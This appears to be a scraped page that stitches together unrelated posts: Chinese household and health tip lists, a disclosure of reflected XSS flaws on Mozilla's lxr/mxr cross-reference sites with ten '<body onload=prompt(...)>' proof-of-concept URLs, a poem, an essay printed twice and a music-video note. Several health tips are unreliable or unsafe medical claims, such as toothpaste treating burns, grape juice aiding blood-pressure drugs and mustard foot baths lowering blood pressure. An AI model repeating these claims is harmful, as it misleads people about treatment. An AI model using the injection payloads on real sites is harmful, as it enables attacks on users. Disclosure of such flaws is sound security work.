日常生活健康小常識大全53個 – 非常實用

日常生活健康小常識大全53個 – 非常實用

日常生活健康小常識大全:生活小常識小處著眼,受益無窮,生活中的小事情往往能帶給我們意想不到的效果。非常有用的53個生活小常識,相信每個人都能有用。

1 、巧用牙膏:若有小面積皮膚損傷或燒傷、燙傷,抹上少許牙膏,可立即止血止痛,也可防止感染,療效頗佳。

2 、巧除紗窗油膩:可將洗衣粉、吸煙剩下的煙頭壹起放在水裏,待溶解後,拿來擦玻璃窗、紗窗,效果均不錯。

3 、將蝦仁放入碗內,加壹點精鹽、食用堿粉,用手抓搓壹會兒後用清水浸泡,然後再用清水洗凈,這樣能使炒出的蝦仁透明如水晶,爽嫩可口

4 、和餃子面的竅門:在1斤面粉裏摻入6個蛋清,使面裏蛋白質增加,包的餃子下鍋後蛋白質會很快凝固收縮,餃子起鍋後收水快,不易粘連

5 、將殘茶葉浸入水中數天後,澆在植物根部,可促進植物生長;把殘茶葉曬幹,放到廁所或溝渠裏燃熏,可消除惡臭,具有驅除蚊蠅的功能。

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6 、夾生飯重煮法:如果是米飯夾生,可用筷子在飯內紮些直通鍋底的孔,灑入少許黃酒重燜,若只表面夾生,只要將表層翻到中間再燜即可。

7 、炒雞蛋的竅門:將雞蛋打入碗中,加入少許溫水攪拌均勻,倒入油鍋裏炒,炒時往鍋裏滴少許酒,這樣炒出的雞蛋蓬松、鮮嫩、可口。

8 、如何使用砂鍋1:新買來的砂鍋第壹次使用時,最好用來熬粥,或者用它煮壹煮濃淘米水,以堵塞砂鍋的微細孔隙,防止滲水_

9、如果衣領和袖口較臟,可將衣物先放進溶有洗衣粉的溫水中浸泡15-20分鐘,再進行正常洗滌,就能洗幹凈。

10 、米飯若燒糊了,趕緊將火關掉,在米飯上面放壹塊面包皮,蓋上鍋蓋,5分鐘後,面包皮即可把糊味吸收。

11 、煮餃子時要添足水,待水開後加入2%的食鹽,溶解後再下餃子,能增加面筋的韌性,餃子不會粘皮、粘底,餃子的色澤會變白,湯清餃香。

12 、許多人愛吃青菜卻不愛喝菜湯,事實上,燒菜時,大部分維生素已溶解在菜湯裏。比如小白菜炒好後,會有70%的維生素C溶解在菜湯裏。

13 、如何使用砂鍋:從火上端下砂鍋時,壹定要放在幹燥的木板或草墊上,切不要放在瓷磚或水泥地面上。

14 、燒葷菜時,在加了酒後,再加點醋,菜就會變得香噴噴的。燒豆芽之類的素菜時,適當加點醋,味道好營養也好,因為醋對維生素有保護作用

15 、用殘茶葉擦洗木、竹桌椅,可使之更為光潔。把殘茶葉曬幹,鋪撒在潮濕處,能夠去潮;殘茶葉曬幹後,還可裝入枕套充當枕芯,非常柔軟。

16 、炒鮮蝦的竅門:炒鮮蝦之前,可先將蝦用浸泡桂皮的沸水沖燙壹下,然後再炒,這樣炒出來的蝦,味道更鮮美。

17 、煮雞蛋時,可先將雞蛋放入冷水中浸泡壹會,再放入熱水裏煮,這樣煮好的雞蛋蛋殼不破裂,且易於剝掉。

18 、男子剃須時,可用牙膏代替肥皂,由於牙膏不含遊離堿,不僅對皮膚無刺激,而且泡沫豐富,氣味清香,使人有清涼舒爽之感。

19 、風油精的妙用(1):在電風扇的葉子上灑上幾滴風油精,隨著風葉的不停轉動,可使滿室清香,而且有驅趕蚊子的效用。

20 、豆腐壹般都會有壹股鹵水味。豆腐下鍋前,如果先在開水中浸泡10多分鐘,便可除去鹵水味,這樣做出的豆腐不但口感好,而且味美香甜。

21 、面包能消除地毯汙跡:家中的小塊地毯如果臟了,可用熱面包渣擦拭,然後將其掛在陰涼處,24小時後,汙跡即可除凈。

22 、手表受磁,會影響走時準確。消除方法很簡單,只要找壹個未受磁的鐵環,將表放在環中,慢慢穿來穿去,幾分鐘後,手表就會退磁復原

23 、豆腐性偏寒,平素有胃寒者,如食用豆腐後有胸悶、反胃等現象,則不宜食用;易腹瀉、腹脹脾虛者,也不宜多食豆腐

24 、用微波爐做菜時,首先要用調料將原料浸透。這是因為微波烹任過程快,若不浸潤透很難入味,且蔥、姜、蒜等增香的作用也難以發揮

25 、煮飯不宜用生水。因為自來水中含有氯氣,在燒飯過程中,它會破壞糧食中所含的維生素B1,若用開水煮飯,維生素B1可免受損失。

26 、風油精的妙用(2) 時,在水中加入數滴風油精,浴後會有渾身清涼舒爽感覺,還有防治痱子、防蚊叮咬、祛除汗臭的作用。

27 、做菜或做湯時,如果做鹹了,可拿壹個洗凈的土豆切成兩半放入湯裏煮幾分鐘,這樣,湯就能由鹹變淡了。

28 、葡萄汁送服降壓藥效果好!用葡萄汁代替白開水送服降壓藥,能使血壓降得平穩,且不會出現血壓忽高忽低的現象。

29 、室內廁所即使沖洗得再幹凈,也常會留下壹股臭味,只要在廁所內放置壹小杯香醋,臭味便會消失。其有效期為六、七天,可每周換壹次。

30 、如果用陳米做米飯,淘過米之後,可在往米中加水的同時,加入1/4或1/5啤酒,這樣蒸出來的米飯香甜,且有光澤,如同新米壹樣。

31 、熱水泡雙手可治偏頭痛。把雙手浸入熱水中,水量以浸過手腕為宜,並不斷地加熱水,以保持水溫。半小時後,痛感即可減輕,甚至完全消失

32 、忌食鮮黃花菜!因為鮮黃花菜內含秋水仙堿有毒物質,食用後會導致惡心、腹瀉等。而加工後的幹黃花菜已將秋水仙堿溶出,食用則不會中毒。

33 、風油精的妙用(3):在點燃的蚊香上灑幾滴風油精,蚊香放出的煙氣不會嗆,而且清香撲鼻,驅蚊效果也會更佳。

34 、在洗碗水中放幾片檸檬皮和橘子皮,或滴幾滴醋,能消除碗碟等餐具上的異味。同時,它還能使硬水軟化,同時增加瓷器的光澤感。

35 、巧洗帶魚:帶魚身上的腥味和油膩較大,用清水很難洗凈,可把帶魚先放在堿水中泡壹下,再用清水洗,就會很容易洗凈,而且無腥味。

36 、芥末煮水洗腳可降血壓。將80克芥末面放在洗腳盆裏,加半盆水攪勻,用爐火煮開,稍涼後洗腳。每天早晚1次,1天後血壓就可下降。

37 、煮排骨時放點醋,可使排骨中的鈣、磷、鐵等礦物質溶解出來,利於吸收,營養價值更高。此外,醋還可以防止食物中的維生素被破壞。

38 、蚊香定時熄滅法:用壹個鐵夾子,用時夾在蚊香所需要的長度上,當蚊香燒到鐵夾夾的地方時,就會熄滅,既不影響睡眠,也可節約蚊香

39 、面包與餅幹不宜壹起存放。面包含水分較多,餅幹壹般則是幹而脆,兩者如果存放在壹起,就會使面包變硬,餅幹也會因受潮失去酥脆感

40 、梨可防曬!常食梨能使肌膚保持彈性,不起皺紋。梨中含有豐富的維生素E,對太陽光的暴曬能起到防護作用。

41 、揭膠紙、膠帶的妙法:貼在墻上的膠紙或膠帶,如果生硬去揭,會損壞物件,可用蒸汽熨鬥熨壹下,就能很容易揭去了。

42 、巧制肉餡:將要做餡的肉放入冰箱冷凍,待完全凍實後取出,用擦菜板擦肉,很容易就能擦把凍肉成細條,之後,只需用刀剁幾下就可以了。

43 、煮肉的時候,如果想使湯味鮮美,應該把肉放入冷水中慢慢地煮;如果想使肉味鮮美,則應該把肉放在熱水裏煮。

44 、蘆筍可減肥!蘆筍能提高人體的基礎代謝,促進人體內熱量的消耗,並有很強的脫水能力,因此,多吃新鮮蘆筍能變得苗條。

45 、如何讓蠟燭不“流淚”?生日蠟燭用之前先放到冰箱的冷凍室裏冷凍24小時,再插到蛋糕上,點燃後就沒有燭油流下而弄臟蛋糕了。

46 、茶葉受潮不要曬!夏季茶葉容易受潮,若把受潮的茶葉放到太陽下曬就會走味。可用鐵鍋慢火炒至水氣消失,晾幹後密封保存,可保持其原味

47 、絲瓜治慢性喉炎。用絲瓜絞汁或將絲瓜藤切斷,讓其汁自然滴出,放入碗內,上鍋蒸熟,再加適量冰糖飲用,就能有效治療慢性喉炎。

48 、用潔廁靈當疏通劑:隔三差五地將適量潔廁靈倒入馬桶,蓋上馬桶蓋悶壹會兒,再用水沖洗,能保持馬桶通暢。

49 、巧切松花蛋:用刀切松花蛋,蛋黃會粘在刀上,可用絲線將松花蛋割開,既均勻又不粘蛋黃。將刀在熱水中燙壹下再切,也能切的整齊漂亮。

50 、瓜果的清洗:食用前,先將瓜果在鹽水中浸泡20-30分鐘,可去除瓜果表皮殘存的農藥或寄生蟲卵,且鹽水還有殺滅某些病菌的作用。

51 、洋蔥防衰老。洋蔥對人體的結締組織和關節有益。洋蔥不僅能提供人體需要的許多養分,還含有微量元素硒,因此,多食洋蔥能夠預防衰老。

52 、牛奶漬魚格外香!把收拾好的魚放到牛奶裏泡壹下,取出後裹壹層幹面粉,再入熱油鍋中炸制,其味道格外香美。

53 、空腹不宜吃柿子。如果空腹吃大量未加工或未去皮的柿子,而胃裏的遊離酸含量又較高時,就會凝結成塊,形成柿石,引起肚子疼、嘔吐等。

http://diebiyi.com/articles/%E6%84%9B%E6%83%85/540/

健康生活小常識 – 健康最重要

健康生活小常識 – 健康最重要

1、常吃夜宵,會得胃癌,因為胃得不到休息。
2、壹個星期只能吃四顆雞蛋,吃太多,對身體不好。
3、雞屁股含有致癌物,不吃較好。
4、飯後吃水果是錯誤的觀念,應是飯前吃水果。
5、早上吃水果是金,中午吃水果是銀,晚上吃水果是銅。
6、喝豆漿時不要加雞蛋及塘,也不要喝太多。
7、空腹時不要吃番茄,最好飯後吃。
8、早上醒來,先喝壹杯水,預防結石。
9、睡前三小時不要吃東西,會胖。
10、少喝奶茶,因為高熱量、高油、沒有營養價值可言,長期飲用,易患高血壓、糖尿病等疾病。

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11、剛出爐的面包不宜馬上食用!
12、遠離充電座,人體應遠離30公分以上,切忌放在床邊。
13、天天喝八杯水。
14、每天十杯水,膀胱癌不會來。
15、白天多喝水,晚上少喝水。
16、壹天不要喝兩杯以上的咖啡,喝太多易導致失眠,胃疼。
17、多油脂的食物少吃,因為得花5~7小時去消化,並使腦中血液集中到大腸,易昏昏欲睡。
18、下午五點後,大餐少少吃,因為五點後身體不需要那麽多能量。
19、10種吃了會快樂的食物:深海魚、香蕉、葡萄柚、全麥面包、菠菜、大蒜、番瓜、低脂牛奶、雞肉、櫻桃。
20、睡眠不足會變笨,壹天須八小時睡眠,有午睡習慣較不會老。

http://itswift.wordpress.com/2014/11/29/10-chufang-tips-materiaal-kruiden/

身體健康秘訣 – 身體是革命的本錢

身體健康秘訣 – 身體是革命的本錢

1、常吃宵夜.會得胃癌.因為胃得不到休息
2、壹個星期只能吃四顆蛋.吃太多.對身體不好
3、.雞屁股含有致癌物,不要吃較好
4、飯後吃水果是錯誤的觀念.應是飯前吃水果
5、女生月經來時.不要喝綠茶.反正茶類不要喝就對了.多吃可以補血的東西
6、喝豆漿時不要加雞蛋及糖.也不要喝太多
7、空腹時不要吃蕃茄,最好飯後吃
8、早上醒來.先喝壹杯水.預防結石
9、睡前三小時不要吃東西.會胖
10、少喝奶茶.因為高熱量.高油.沒有營養價值可言.長期飲用.易罹患高血壓.糖尿病.等疾病

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11、剛出爐的面包不宜馬上食用
12、遠離充電座.人體應遠離30公分以上.切忌放在床邊
13、天天喝水八大杯
14、每天十杯水.膀胱癌不會來
15、白天多喝水.晚上少喝水
16、壹天不要喝兩杯以上的咖啡.喝太多易導致失眠,胃痛
17、多油脂的食物少吃.因為得花5~7小時去消化,並使腦中血液集中到腸胃.易昏
昏欲睡
18、下午五點後.大餐少少吃,因為五點後身體不需那麽多能量
19、10種吃了會快樂的食物:深海魚,香蕉,葡萄柚,全麥面包,菠菜,大蒜,南瓜,低
脂牛奶,雞肉,櫻桃
20、睡眠不足會變笨,壹天須八小時睡眠,有午睡習慣較不會老
21、最佳睡眠時間是在晚上10點~清晨6點
22、每天喝酒不要超過壹杯,因為酒精會抑制制造抗體的B細胞,增加細菌感染的機會
23、服用膠囊應以冷水吞服(可以第壹個吃),睡前30分先服藥.忌立即躺下
24、酸梅具防止老化作用,青春永駐;肝火有毛病者宜多食用
25、掉發因素:熬夜,壓力,煙酒,香雞排.麻辣鍋.油膩食物.調味過重的料理
26、幫助頭發生長:多食用包心菜,蛋.豆類;少吃甜食(尤其是果糖)
27、每天壹杯檸檬汁,柳橙汁.不但可以美白還可以淡化黑斑
28、蘋果是機車族、癮君子、家庭主婦的常備良藥,壹天壹顆,才能讓自己有個
幹乾凈凈的肺
29、抽煙又吃維他命(B胡蘿蔔素-A維他命的壹種),會致癌,盡早戒煙.才是最健康
的做法
30、女性不宜喝茶的五個時期:月經來時,孕婦,臨產前.生產完後,更年期
31、抽煙,關系最大的是肺癌,唇癌,舌癌,喉癌,食道癌,也與膀胱癌有關
32、飲酒導致肝硬化.引發肝癌
33、吃檳榔會導致口腔纖維化,口腔癌
34、食物過於精細,缺乏纖維;含大量脂肪,尤其是膽固醇會引發胃癌
35、食物過於粗糙,營養不足時導致食道癌,胃癌
36、食品中的黃曲毒素.亞硝酸類物皆具有致癌性
37、不抽煙.拒吸二手煙
38、適量飲酒,不拼久.不醉酒
39、減少食用鹽腌.煙熏,燒烤的食物
40、每天攝取新鮮的蔬菜與水果
41、每天攝取富含高纖維的五谷類及豆類
42、每天攝取均衡的飲食,不過量
43.維持理想體重.不過胖
44、保持規律的生活與運動
45、保持輕松愉快的心情
46、正確飲食習慣:早上吃的像皇帝,中午吃的像平民,晚上吃的像乞丐

Mozilla mozilla.org Two Sub-Domains ( Cross Reference) XSS Vulnerability ( All URLs Under the Two Domains)

Mozilla mozilla.org Two Sub-Domains ( Cross Reference) XSS Vulnerability ( All URLs Under the Two Domains)

Domains:

http://lxr.mozilla.org/

http://mxr.mozilla.org/

(The two domains above are almost the same)

 

 

Websites information:

lxr.mozilla.orgmxr.mozilla.org are cross references designed to display the Mozilla source code. The sources displayed are those that are currently checked in to the mainline of the mozilla.org CVS server, Mercurial Server, and Subversion Server; these pages are updated many times a day, so they should be pretty close to the latest‑and‑greatest. (from Mozilla)

 

 

 

Vulnerability description:

All pages under the following two URLs are vulnerable.

http://lxr.mozilla.org/mozilla-central/source

http://mxr.mozilla.org/mozilla-central/source

 

 

This means all URLs under the above two domains can be used for XSS attacks targeting Mozilla’s users.

 

Since there are large number of pages under them. Meanwhile, the contents of the two domains vary. This makes the vulnerability very dangerous. Attackers can use different URLs to design XSS attacks to Mozilla’s variety class of users.

 

The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are dealing with this issue.

 

 

 

 

POCs:

http://lxr.mozilla.org/mozilla-central/source/<body onload=prompt(“justqdjing”)>

http://lxr.mozilla.org/mozilla-central/source/mobile/android/<body onload=prompt(“justqdjing”)>

http://lxr.mozilla.org/mozilla-central/source/Android.mk/<body onload=prompt(“tetraph”)>

http://lxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageBindingParamsArray.idl/<body onload=prompt(“tetraph”)>

http://lxr.mozilla.org/mozilla-central/source/netwerk/protocol/device/AndroidCaptureProvider.cpp<body onload=prompt(“tetraph”)>

 

http://mxr.mozilla.org/mozilla-central/source/<body onload=prompt(“justqdjing”)>

http://mxr.mozilla.org/mozilla-central/source/webapprt/<body onload=prompt(“justqdjing”)>

http://mxr.mozilla.org/mozilla-central/source/mozilla-config.h.in/<body onload=prompt(“justqdjing”)>

http://mxr.mozilla.org/mozilla-central/source/chrome/nsChromeProtocolHandler.h/<body onload=prompt(“tetraph”)>

http://mxr.mozilla.org/mozilla-central/source/security/sandbox/linux/x86_32_linux_syscalls.h/<body onload=prompt(“tetraph”)>

 

 

 

POC Video:

https://www.youtube.com/user/tetraph

 

 

 

 

Vulnerability Analysis:

Take the following link as an example,

http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest>

 

We can see that for the page reflected, it contains the following codes.

<a href=”/mozilla-central/source/chrome/%253Cattacktest%253E”>

<attacktest></attacktest>

</a>

 

If we insert “<body onload=prompt(“justqdjing”)>” into the URL, the code can be executed.

 

 

 

The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

 

 

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. (From Wikepedia)

 

 

 

Posted By:

Wang Jing, School of Physical and Mathematical Sciences, Nanyang Technological University, Singapore.http://tetraph.com/wangjing/

 

 

 

 

 

More Details:

http://www.hotforsecurity.com/blog/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains-10607.html

http://www.tetraph.com/blog/xss-vulnerability/mozilla-mozilla-org-two-sub-domains-cross-reference-xss-vulnerability-all-urls-under-the-two-domains/

https://www.xssposed.org/incidents/domain/lxr.mozilla.org/

https://www.youtube.com/watch?v=onA5BgC3zIY

http://itsecuritynews.info/2014/10/20/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains/

http://news.softpedia.com/news/XSS-Risk-Found-In-Links-to-New-York-Times-Articles-Prior-to-2013-462334.shtml

https://brica.de/alerts/alert/public/791810/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013/

https://twitter.com/essayjeans

http://infopunk.org/main/blog/2014/10/20/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains/

鄉愁 – 余光中

鄉愁 – 余光中

小時候
鄉愁是壹枚小小的郵票
我在這頭
母親在那頭

Butterfly-Flower-flower-beauty

長大後
鄉愁是壹張窄窄的船票
我在這頭
新娘在那頭

後來啊
鄉愁是壹方矮矮的墳墓
我在外頭
母親在裏頭

而現在
鄉愁是壹灣淺淺的海峽
我在這頭
大陸在那頭

http://xingti.tumblr.com/

http://www.weibo.com/yuewuti

http://www.weibo.com/fengyusui

http://aibiyi.lofter.com/

http://biboying.lofter.com/

三十歲以後才明白 – 早明白早拼搏

三十歲以後才明白 – 早明白早拼搏

不知不覺壹下就過了三十歲,而很多事也是到了三十歲以後才明白。

30歲以後,首先是大把的時間消失了,每天的生活成了壹場爭分奪秒的戰鬥,壹次傾心的閱讀,壹場酣暢的睡眠,壹次次深思冥想,壹回遠行出遊,都成為值得期待的奢侈。

30歲以後,想做的事突然堆成了堆,想寫作,想補習英語,想正兒八經看點書,念書的時候有大把的時間可以做這些事,可是沒有做,至少沒有好好做,全部等到30歲之後來補課。

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30歲以後,滿身都是責任,為人女,為人妻,為人母,每個角色都是那麼重要,那麼不容推辭,都需要付出全部有愛與心力來經營。

30歲的女人不再無病呻吟,不現為言情小說中男女主角的悲歡離合而潸然淚下,不再自縛於情感的牢籠,為無望的感情腸寸斷。30歲的女人開始懂得要悉心建立起壹份自已和生活,要營造壹個溫暖、寬和、可以將自己交付出去的世界。

30歲的女人很貪心,她要所有該要的東西,獨立的經濟基礎,清醒的自我意識,溫馨的家庭生活,豐富的情感交流。

30歲的女人又很淡泊,她知道弱水三千,只能取壹瓢飲,她明白得失豈能皆隨我心,讓該來的來,該去的去。

30歲的女人開始體驗人生的艱辛,理解人生的無奈,開始明白這世上沒有哪壹份幸福是圓閏光滑、了無痕跡,開始拋開驕傲與脆弱,拾起堅強和自信,讓自己學會承受,既承受幸福,也承受痛苦。

30歲的女人有意識地遠離喧囂,拒絕浮躁,她更願意安靜下來,看清楚什麼是自己真正想要的東西,在獨自守著那份孤寂的時候,內心不再慌張,而是有壹份對生活的把握。

30歲女人也開始深藏自己的心靈,深藏所有的傷痛與夢想,不再輕易地披露在眾人面前,乞求撫慰或鼓勵。她是壹只學會了自我聞傷的羚羊,能自己整理好破碎的心情,然後繼續在生活的大草原上馳騁。

30 歲的女人,時光不經意地在眼角劃下細細的紋路,歲月也把些許滄桑刻在額頭,然而30歲的女人絕不憔悴,她們臉上有風月,眼中有神韻,心中深藏著真情,30 歲的女人能把自己打扮得光彩明亮又恰到好處。浮誇輕佻、嘩眾取寵與玩世不恭已從身上消失,透過從容淡定的外表,是壹顆經過生活歷練休養生息之後充滿魅力的 心靈。

30歲的女人正要開始創造並享受生活,她會在不斷豐富自己的內涵,提高生活品位的同時,活得從容大方,有聲有色,朝氣蓬勃以後,首 先是大把的時間消失了,每天的生活成了壹場爭分奪秒的戰鬥,壹次傾心的閱讀,壹場酣暢的睡眠,壹次次深思冥想,壹回遠行出遊,都成為值得期待的奢侈。

30歲以後,想做的事突然堆成了堆,想寫作,想補習英語,想正兒八經看點書,念書的時候有大把的時間可以做這些事,可是沒有做,至少沒有好好做,全部等到30歲之後來補課。

30歲以後,滿身都是責任,為人女,為人妻,為人母,每個角色都是那麼重要,那麼不容推辭,都需要付出全部有愛與心力來經營。

30歲的女人不再無病呻吟,不現為言情小說中男女主角的悲歡離合而潸然淚下,不再自縛於情感的牢籠,為無望的感情腸寸斷。30歲的女人開始懂得要悉心建立起壹份自已和生活,要營造壹個溫暖、寬和、可以將自己交付出去的世界。

30歲的女人很貪心,她要所有該要的東西,獨立的經濟基礎,清醒的自我意識,溫馨的家庭生活,豐富的情感交流。

30歲的女人又很淡泊,她知道弱水三千,只能取壹瓢飲,她明白得失豈能皆隨我心,讓該來的來,該去的去。

30歲的女人開始體驗人生的艱辛,理解人生的無奈,開始明白這世上沒有哪壹份幸福是圓閏光滑、了無痕跡,開始拋開驕與脆弱,拾起堅強和自信,讓自己學會承受,既承受幸福,也承受痛苦。

30歲的女人有意識地遠離喧囂,拒絕浮躁,她更願意安靜下來,看清楚什麼是自己真正想要的東西,在獨自守著那份孤寂的時候,內心不再慌張,而是有壹份對生活的把握。

30歲女人也開始深藏自己的心靈,深藏所有的傷痛與夢想,不再輕易地披露在眾人面前,乞求撫慰或鼓勵。她是壹只學會了自我聞傷的羚,能自己整理好破碎的心情,然後繼續在生活的大草原上馳騁。

30 歲的女人,時光不經意地在眼角劃下細細的紋路,歲月也把些許滄桑刻在額頭,然而30歲的女人絕不憔悴,她們臉上有風月,眼中有神韻,心中深藏著真情,30 歲的女人能把自己打扮得光彩明亮又恰到好處。浮誇輕佻、嘩眾取寵與玩世不恭已從身上消失,透過從容淡定的外表,是壹顆經過生活歷練休養生息之後充滿魅力的 心靈。
30歲的女人正要開始創造並享受生活,她會在不斷豐富自己的內涵,提高生活品位的同時,活得從容大方,有聲有色,朝氣蓬勃

文章自:雜誌某本,作者匿名

Long Time Emotional Sad Piano Soft Music (Sleeping Relaxing Music) (MELODY OF THE NIGHT)

Long Time Emotional Sad Piano Soft Music (Sleeping Relaxing Music) (MELODY OF THE NIGHT)

Like the soft music. It Makes me feel sad especially when it is rainy days. Sometimes, I would like to listen to it before sleeping, relaxing myself from anxiety and tiredness …

I just made this video in my spare time.